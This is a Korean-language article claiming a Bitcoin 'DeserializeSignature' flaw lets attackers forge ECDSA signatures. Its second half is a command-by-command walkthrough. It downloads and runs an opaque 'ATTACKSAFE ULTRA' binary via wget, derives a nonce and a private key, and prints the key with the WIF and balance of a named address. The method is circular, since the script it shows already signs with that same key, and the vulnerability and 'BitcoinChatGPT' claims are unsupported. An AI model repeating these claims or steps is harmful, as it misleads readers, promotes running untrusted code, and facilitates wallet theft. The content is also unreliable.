비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

크립토 딥 테크

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

이 연구에서는 공격자가 비트코인 ​​네트워크에서 잘못된 ECDSA 서명을 만들 수 있도록 하는 DeserializeSignature 취약점을 살펴보겠습니다. 암호화에서 ECDSA 디지털 서명은 디지털 메시지나 문서의 진위성을 증명할 수 있는 수학적 체계입니다. 비트코인 ​​네트워크에서 서명은 거래를 승인하는 데 사용되어 특정 양의 비트코인 ​​소유자가 실제로 전송에 동의했는지 확인합니다. 그러나  2023년에 발견된DeserializeSignature 함수 의  취약점으로  인해 공격자는 네트워크에서 유효하다고 허용될 수 있는 잘못된 서명을 만들 수 있었습니다.

DeserializeSignature 작동 방식

DeserializeSignature 함수는 디지털 서명을 역직렬화(바이트 시퀀스에서 변환)하여 유효성을 검사하는 데 사용할 수 있는 객체로 변환하는 역할을 합니다. 이 함수는 비트코인에서 사용되는 공개 키 암호화 표준(ECDSA)을 준수하는 특정 데이터 형식을 예상합니다. DeserializeSignature 함수는 트랜잭션 서명을 가져와 계산 결과로 얻은 해시와 일관성을 검사합니다. 서명이 유효하면 DeserializeSignature는 를 반환하고  true그렇지 않으면  를 반환합니다 false. 이 취약점의 본질은 DeserializeSignature가 역직렬화하기 전에 모든 서명 매개변수의 정확성을 검사하지 않았다는 것입니다. 특히 이 함수는 서명의 “R” 또는 “S” 값이 null인지 확인하지 않았습니다. 이를 통해 공격자는 null 값이 있는 서명을 만들 수 있었고, 이는 무효함에도 불구하고 일부 비트코인 ​​클라이언트가 올바른 것으로 받아들일 수 있었습니다. 공격자는 잘못된 데이터와 함께 DeserializeSignature 함수에 전달되면 유효한 것으로 받아들여지는 가짜 트랜잭션 서명을 만들 수 있습니다.

잠재적 위협 및 공격 사례

이 취약점은 비트코인 ​​네트워크의 보안에 심각한 위협을 가했습니다. 공격자는 이를 사용하여 다음을 수행할 수 있습니다.

  • 비트코인 도난:   공격자는 잘못된 서명을 만들어 다른 사람의 지갑에서 자신의 지갑으로 비트코인을 전송하는 거래를 승인할 수 있습니다.
  • 이중 지출:   null 값이 있는 서명을 사용하면 동일한 비트코인으로 두 가지 다른 거래를 생성할 수 있습니다.
  • 블록체인의 데이터 조작:  공격자는 가짜 거래를 만들어 서명이 올바른 것으로 받아들여지고 블록체인에 추가할 수 있습니다. 이로 인해 계좌 잔액이 변경될 수 있습니다.
  • 거래 확인 시스템에 대한 공격:  공격자는 가짜 거래 서명을 만들어 확인을 위해 네트워크로 전송할 수 있습니다.

DeserializeSignature 프로세스

DeserializeSignature는 바이트 시퀀스를 거래를 인증하는 데 사용할 수 있는 데이터 구조로 변환하는 프로세스입니다. 비트코인의 맥락에서 서명은 ECDSA(Elliptic Curve Digital Signature Algorithm) 알고리즘을 사용하여 생성되며 r과 s라는 두 가지 구성 요소가 포함됩니다. 암호화폐의 맥락에서 서명은 거래의 진위성을 확인하고 무결성을 보장하는 데 사용됩니다. DeserializeSignature 취약점은 공격자가 역직렬화 프로세스를 조작하여 서명 데이터를 변경하거나 위조할 수 있을 때 발생합니다.


https://youtube.com/watch?v=8E2KJeWu4XA%3Fsi%3DBk0hjlJ_MFdpqBu3

역직렬화 단계:

  1. 데이터 읽기: 첫 번째 단계는 서명을 나타내는 바이트 시퀀스를 읽는 것입니다. 이 데이터는 일반적으로 DER(Distinguished Encoding Rules) 형식으로 저장됩니다.
  2. 형식 검사: 바이트 시퀀스가 ​​예상 DER 형식과 일치하는지 확인합니다. 여기에는 데이터의 길이와 구조를 확인하는 것이 포함됩니다.
  3. 구성 요소 추출: r 및 s 구성 요소는 바이트 시퀀스에서 추출됩니다. 이러한 구성 요소는 서명을 확인하는 데 사용되는 정수입니다.
  4. 값 검증: r과 s의 값이 허용 범위 내에 있는지 확인합니다. 이는 서명 위조 공격을 방지하는 데 중요합니다.

실패의 잠재적 지점

DeserializeSignature  프로세스는 다양한 공격과 버그에 취약할 수 있습니다. 주요 잠재적 실패 지점을 살펴보겠습니다.

1. 잘못된 형식 확인

DER 형식 검증이 올바르게 수행되지 않으면 유효하지 않은 서명이 유효한 것으로 간주될 수 있습니다. 이를 통해 공격자는 서명을 위조하고 무단 거래를 할 수 있습니다.

2. 라이브러리의 취약점

취약한 역직렬화 라이브러리를 사용하면 버퍼 오버플로 또는 임의 코드 실행과 같은 다양한 공격으로 이어질 수 있습니다. 서명을 작업할 때는 테스트되고 업데이트된 라이브러리를 사용하는 것이 중요합니다.

3. 값 확인이 부족합니다.

r과 s 값이 적절하게 검증되지 않으면 공격자가 잘못된 값을 사용하여 위조된 서명을 만들 수 있습니다. 예를 들어, r과 s의 값은 1과 n-1 사이여야 하며, 여기서 n은 타원 곡선의 순서입니다.

4. 런타임 공격

일부 공격은 역직렬화 작업의 실행 시간 분석을 기반으로 할 수 있습니다. 실행 시간이 r과 s의 값에 따라 달라지는 경우 공격자는 개인 키에 대한 정보를 얻을 수 있습니다.

다음으로, 비트코인 ​​시스템의 DeserializeSignature 프로세스의 취약성에 대한 연구 결과를 살펴보고, 취약성의 메커니즘, 잠재적 결과, 제안된 완화책도 살펴보겠습니다.


암호화폐 보안에 미치는 영향

DeserializeSignature  취약점은 여러 가지 이유로 암호화폐 보안에 심각한 위협을 가합니다.

  1. 자금 손실: 공격자는 이 취약점을 이용하여 사용자 지갑에서 자금을 훔칠 수 있습니다.
  2. 신뢰 훼손: 성공적인 공격은 암호화폐 보안에 대한 사용자의 신뢰를 떨어뜨릴 수 있으며, 암호화폐 채택 및 사용에 부정적인 영향을 미칠 수 있습니다.
  3. 감지하기 어려움: DeserializeSignature 취약점을 악용하는 공격은 감지하고 예방하기 어려워 특히 위험합니다.

DeserializeSignature 취약점으로부터 보호하는 방법

DeserializeSignature 취약점을 방지하려면   다음 조치를 취해야 합니다.

  1. 데이터 검증: 조작을 방지하기 위해 역직렬화 단계에서 엄격한 데이터 검사를 구현합니다.
  2. 소프트웨어 업데이트: 알려진 취약점을 제거하기 위해 암호화폐 시스템과 지갑을 정기적으로 업데이트하세요.
  3. 보안 감사: 잠재적인 취약점을 식별하고 해결하기 위해 정기적인 보안 감사를 수행합니다.

연구의 주요 목적

  1. 취약점 식별: 공격에 취약할 수 있는 DeserializeSignature 프로세스의 특정 측면을 식별합니다.
  2. 취약성 분석: 식별된 취약성이 비트코인 ​​네트워크 보안에 미칠 수 있는 잠재적 영향을 평가합니다.
  3. 기존 보안 방법 검토: DeserializeSignature 프로세스를 보호하는 데 사용되는 현재 방법과 접근 방식을 살펴봅니다.
  4. 권장 사항 개발: 보안을 개선하고 잠재적인 공격을 방지하기 위한 대책 제안.

방법론 및 취약성 식별

비트코인의 DeserializeSignature 프로세스는 데이터를 한 형식에서 다른 형식으로 변환하는 것을 포함합니다. 이 프로세스 중에 공격자가 공격을 시작하는 데 사용할 수 있는 오류가 발생할 수 있습니다. 이 단계에서의 주요 작업은 deserialization 프로세스의 특정 취약성을 식별하는 것입니다. 취약성 암호 분석: 취약성을 식별한 후에는 이에 대한 자세한 분석을 수행해야 합니다. 여기에는 비트코인 ​​네트워크 보안에 대한 잠재적 영향을 평가하고 가능한 공격 시나리오를 검토하는 것이 포함됩니다. 공격자가 이 취약성을 자신의 목적으로 어떻게 악용할 수 있는지 이해하는 것이 중요합니다. 기존 보안 방법 검토: 이 연구 단계에서는 DeserializeSignature 프로세스를 보호하는 데 사용되는 현재 방법과 접근 방식을 검토합니다. 이를 통해 기존 조치가 얼마나 효과적인지, 어떤 조치를 개선할 수 있는지 확인할 수 있습니다.

식별된 취약점을 제거하기 위해 다음과 같은 몇 가지 조치가 제안되었습니다.

  1. 업데이트된 역직렬화 알고리즘: DeserializeSignature 단계에서 보다 엄격한 검사 및 데이터 검증을 구현했습니다.
  2. 테스트 수준 향상: 다양한 공격 시나리오를 사용하여 정기적인 보안 테스트를 수행합니다.
  3. 개발자 교육: 개발자의 취약성 인식을 높이고 이를 방지하는 방법을 교육합니다.

비트코인에서 사용되는 타원 곡선 디지털 서명 알고리즘(ECDSA)의 취약성에 대한 이전 연구가 수행되었습니다. 이러한 연구는 ECDSA를 부적절하게 구현하면 개인 키가 유출될 수 있음을 보여주었습니다.

DeserializeSignature 취약성 과 달리   ECDSA의 문제는 알고리즘의 수학적 측면과 관련이 있으며 데이터 처리 프로세스와는 관련이 없습니다. 다른 연구에서는 P2P(피어투피어) 비트코인 ​​네트워크의 취약성에 초점을 맞추었습니다. 이러한 취약성에는  이중 지출  및  시빌 공격이 포함되었습니다  .  DeserializeSignature  취약성과 달리 이러한 문제는 네트워킹 측면과 네트워크의 노드 상호 작용과 관련이 있으며 암호화 데이터 처리와는 관련이 없습니다.

DeserializeSignature 취약성과 이전 연구의 주요 차이점은 문제의 본질입니다. DeserializeSignature 취약성은 데이터 처리 취약성이며 데이터 역직렬화 및 검증 기술을 개선하여 해결할 수 있습니다. ECDSA 및 P2P 네트워크의 취약성은 알고리즘과 네트워크 프로토콜에 대한 더 심층적인 변경이 필요합니다.

또한 DeserializeSignature 취약성은 임의의 코드를 실행하고 시스템을 손상시키는 데 사용될 수 있으므로 사용자 보안에 더 즉각적인 영향을 미칩니다. ECDSA 및 P2P 네트워크의 취약성은 더 복잡한 공격이 필요하고 더 간접적인 결과를 초래할 수 있습니다. 최근 몇 년 동안 비트코인과 같은 암호화폐는 금융 생태계의 중요한 부분이 되었습니다. 그러나 인기가 높아짐에 따라 식별된 취약성의 수도 증가합니다.


가짜 ECDSA 서명

BitcoinChatGPT 머신 러닝 프로세스를 사용하여 잘못된 ECDSA 서명 생성

BitcoinChatGPT 모듈을   사용하는   취약한 Raw 거래 의 구조를 구축하는 것을 고려해 보겠습니다.  

https://youtube.com/watch?v=i0qchOojI0g%3Fsi%3DjdRbXaq95sJaLJG2

Google Colab 버전을 열어 보겠습니다.

https://colab.research.google.com/drive/1-3WyUqipb1pXrlDjg4jxtMOG6J3MU3sa#scrollTo=B8ueObMAt5Q9&line=1&uniqifier=1
State of a vulnerable transaction in Bitcoin:

01000000
....01
........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935
............00000000
........8b483045
....0221
....00
........b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
....0220
........74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f
....0141
045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5b
....ffffffff
01
....d204000000000000
........1976
............a914
........d74b32dfa340da479ce64aaf5e326496eb3995f1
....88ac
00000000

모든 출력 값을 하나의 공통된 줄로 결합해 보겠습니다.

01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000

BlockCypher에서 “거래 디코딩” 옵션을 열어 보겠습니다   . 

https://live.blockcypher.com/btc/decodetx
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

취약한 Raw Bitcoin 거래를 디코딩한 후 다음과 같은 결과를 얻었습니다.

{
    "addresses": [
        "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK",
        "1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk"
    ],
    "block_height": -1,
    "block_index": -1,
    "confirmations": 0,
    "double_spend": false,
    "fees": 2606688996428,
    "hash": "32361b5b8aa2954519c171b45dfa14ee5d997dc0a89182ebea4a9eaa15429f1e",
    "inputs": [
        {
            "addresses": [
                "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK"
            ],
            "age": 344419,
            "output_index": 0,
            "output_value": 2606688997662,
            "prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d"
.......
.......
.......

비트코인 HASH160에 주의하세요:   d74b32dfa340da479ce64aaf5e326496eb3995f1

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
https://github.com/demining/CryptoDeepTools/blob/f0421962be80403bb1b0877eace2c7eb70eb85bd/32DeserializeSignatureVulnerability/DecodeRawTX.txt#L31

BitcoinChatGPT는 공개 키를 사용하여 거래 구조를 생성하며  HASH, 여기서 비트코인 ​​주소인  1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk가1234 satoshi 네트워크 내의 동일한 주소로  전송됩니다  .

https://live.blockcypher.com/widget/btc/1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk/received
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

Bitcoin HASH160은 Python 스크립트 wif_to_hash160.py 를 사용하여 얻었습니다. 

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

취약한RawTX.txt

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
https://github.com/demining/CryptoDeepTools/blob/main/32DeserializeSignatureVulnerability/wif_to_hash160.py

질문 답변:

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

궁극적으로  BitcoinChatGPT 모듈은 KEYFOUND.privkey  파일에 대한 응답을 출력하여  가장 많이 사용되는 두 가지 형식인 HEX 및 WIF  로 개인 키를 저장합니다. 

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
https://github.com/demining/CryptoDeepTools/blob/main/32DeserializeSignatureVulnerability/KEYFOUND.privkey

BitcoinChatGPT №2 DeserializeSignature 취약점 알고리즘

https://youtube.com/watch?v=NNFv08QlDZk%3Fsi%3DutqVRSQ0qm47cn8C

실제적인 부분

실제적인 부분으로 넘어가기 위해 Broadcast Bitcoin Transaction 저장소를  사용하여 수신된 데이터에서  취약한 원시 트랜잭션을 생성해 보겠습니다.

소스 코드를 다운로드하여 설치하고 터미널을 열고 다음 명령을 실행하세요.

git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git

목록:

cd Broadcast-Bitcoin-Transaction

세 가지 중요한 라이브러리를 설치해 보겠습니다.

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
요구 사항.txt

명령을 실행해 보겠습니다.

pip install -r requirements.txt

Notepad  ++ 에서 메인 파일을 열고   Python 스크립트 코드인  main.py를 약간 변경해 보겠습니다.


from io import BytesIO
from secp256k1 import *
from sighash import *

pk = PrivateKey.parse("5HrVy4SVvC46tsuBhMhVEGHXG4AzhxtEqi4FLbia5vAXuF5GwaX")
pk.address()
tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d")
index = 0
send = "1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk"
tx_in = TxIn(tx, index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2345
tx_ins = [ tx_in ]
tx_outs = [
    TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()
print(tx.serialize().hex())
f = open("RawTX.txt", 'w')
f.write("" + tx.serialize().hex() + "" + "\n")
f.close()

명령을 실행해 보겠습니다.

python main.py

취약한 거래가 생성되었습니다!

디렉토리에서 RawTX 파일을 열어 보겠습니다.

01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000

비디오에서의 동작 순서:

https://youtube.com/watch?v=is1oUSCFJms%3Fsi%3D5Uit-77LdpPZvVho

BitcoinChatGPT 모듈 의 즉각적인 대응  에서 알 수 있듯이  DeserializeSignature 취약점을  식별하는 알고리즘은   복잡한 암호화 문제를  해결하는 여러 가지 옵션에 사용될 수 있습니다 .


비트코인 블록체인의 개인키 ‘K’ (NONCE) 공개


비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
https://colab.research.google.com/drive/1EiIIJh8UCOZZ8DVbelxhESFPvqu_xZUo

[GoogleColab]을 열어보자  

32DeserializeSignatureVulnerability 저장소를 사용하여 알고리즘을 구현해 보겠습니다. 

!git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/32DeserializeSignatureVulnerability/

ls
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

RawTX를 공격에 대비해보자


이제 우리는 모든 취약한 거래에서 전체 R, S, Z 값을 가져와야 합니다.

서비스를 이용해 보세요:  https://attacksafe.ru/RSZ-Signature-From-Tx

01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
RSZ-서명-송신-송신
R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
S = 0x74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f
Z = 0xa79974cb42f82890fcebcb9865cd512a34479d91211e2ce383def10a7388cf63

공격을 구현하고 비밀 키를 얻으려면 “ATTACKSAFE ULTRA”  소프트웨어를 사용합니다.

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
www.attacksafe.ru/ultra

“ATTAKSAFE ULTRA” 소프트웨어를 실행하기 위해 필요한 라이브러리 패키지를 설치하려면 “SAGE MATH”를  설치하십시오. 


트위스트 공격 예제 1에서는 비트코인 ​​지갑의 개인 키 값을 얻기 위해 일련의 ECC 작업을 수행합니다.
트위스트 공격 예제 1에서는 비트코인 ​​지갑의 개인 키 값을 얻기 위해 일련의 ECC 작업을 수행합니다.

설치 명령:

!sudo apt-get update
!sudo apt-get install -y python3-gmpy2
!sudo apt-get install sagemath
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

!sage -v
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

wget 유틸리티를 사용하여  ATTACKSAFE_ULTRA.zip 저장소를 Google Colab 폴더  로  다운로드합니다  .

!wget https://attacksafe.ru/REPOSITORY/DC66398E76DBCD8193134381D7838A02/ATTACKSAFE_ULTRA.zip
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

추출 가능한 저장소  ATTACKSAFE_ULTRA.zip

!unzip ATTACKSAFE_ULTRA.zip
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

ls
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

!./attacksafe -help
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

!./attacksafe -version
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

모든 공격 스크립트 목록을 실행해 보겠습니다.

!./attacksafe -ultra
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

접근 권한:

!chmod +x attacksafe
ls -l
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

애플리케이션:

선택하자deserialization_error_vulnerability_cve-2023-0085.sage

취약한 ECDSA 서명 거래 에서 비밀 키를 얻으려면   데이터를  RawTX 텍스트 문서에 추가하고 파일로 저장합니다.  RawTX.txt 이를 위해 유틸리티를 사용합니다. echo

명령을 실행해 보겠습니다.

!echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000' > RawTX.txt
!cat RawTX.txt
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

deserialization_error_vulnerability_cve-2023-0085.sage소프트웨어를 사용하여 시작해보자 “ATTACKSAFE ULTRA”


!./attacksafe deserialization_error_vulnerability_cve-2023-0085.sage -open RawTX.txt -save SecretKey.txt
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

우리는 이 공격을 시작했으며  deserialization_error_vulnerability_cve-2023-0085.sage그 결과는 파일에 저장되었습니다.SecretKey.txt

이제 성공적인 결과를 보려면 파일을 여세요.SecretKey.txt

cat SecretKey.txt
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

Deployments ECDSA:

SecretKey = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c

RawTX = 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100b44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307022074e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f0141045cf7dd1ad49af6957415d6b76ff39cbf78f6e72f1db9199a01127687e7230f96614ff6f0184d2191fa7428872e311fe4ddf2b91f560b30fd7dc01d2118ac0b5bffffffff01d2040000000000001976a914d74b32dfa340da479ce64aaf5e326496eb3995f188ac00000000

"Deployments ECDSA"우리는 비트코인 ​​블록체인 거래의 심각한 취약점을 의미하는 비문을 봅니다  .

SecretKey 형식의 값  HEX은 우리의 비밀 키입니다  "K" (NONCE):

K = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c


Python  스크립트를 사용하여 확인해 보겠습니다. point2gen.py


이렇게 하려면  ECPy  타원 곡선 라이브러리를 설치하세요.

!pip3 install ECPy
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

이제 비밀 키를 지정하여 스크립트를 실행해 보겠습니다  "K" (NONCE).

!python3 point2gen.py 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

(0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 , 0x3adecc9efffbb36322c8e19071e323815403be263c1e595dc26eb762982b54b0)

EC (secp256k1) 시그니처 값으로 지점의 좌표 확인 R

R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
S = 0x74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f
Z = 0xa79974cb42f82890fcebcb9865cd512a34479d91211e2ce383def10a7388cf63

R          =    0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
point2gen  =   (0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307 , 0x3adecc9efffbb36322c8e19071e323815403be263c1e595dc26eb762982b54b0)

모두 사실이에요!

K = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c

이제 비밀 키를 알았으므로 비트코인 ​​지갑의 개인 키를 얻을 수 있습니다.1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk


Python 스크립트를 사용해 보겠습니다   .  calculate.py> > > 개인 키 가져오기


코드를 열고 모든 서명 값을 추가해 보겠습니다.K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0x2863763e8ec6bf755cc152e5080e7c74a95295f06cfbe86d9cb7c37f28f1013c
R = 0xb44a31bd81d3c596cc4d3776263229b6f52f2a729fbcafefffc9a0d955d46307
S = 0x74e5feb333400732256fc44a681a1ba262b080a7cc5dfa11894e7ce4d9766c6f
Z = 0xa79974cb42f82890fcebcb9865cd512a34479d91211e2ce383def10a7388cf63


print (h((((S * K) - Z) * modinv(R,N)) % N))

스크립트는  calculate.py다음 공식을 사용하여 개인 키를 계산합니다.

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

스크립트를 실행해 보겠습니다.

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

PrivKey = 0506b0b7b508625dc7b0623db41206c48058ede0a9c75ff265eeb47fea29b3f0

bitaddress를 열어   확인해 보겠습니다.

ADDR: 1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk
WIF:  5HrVy4SVvC46tsuBhMhVEGHXG4AzhxtEqi4FLbia5vAXuF5GwaX
HEX:  0506b0b7b508625dc7b0623db41206c48058ede0a9c75ff265eeb47fea29b3f0
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성

https://www.blockchain.com/btc/address/1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk

개인 키를 받았습니다!

비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
비트코인 네트워크의 DeserializeSignature 취약점: 암호 분석, 결과 및 잘못된 ECDSA 서명 생성 가능성
https://www.blockchain.com/explorer/addresses/btc/1LdNN9GXmoKZs5vrQFL1d4NL9GgZ1PfCZk

BALANCE: $ 819113


결론

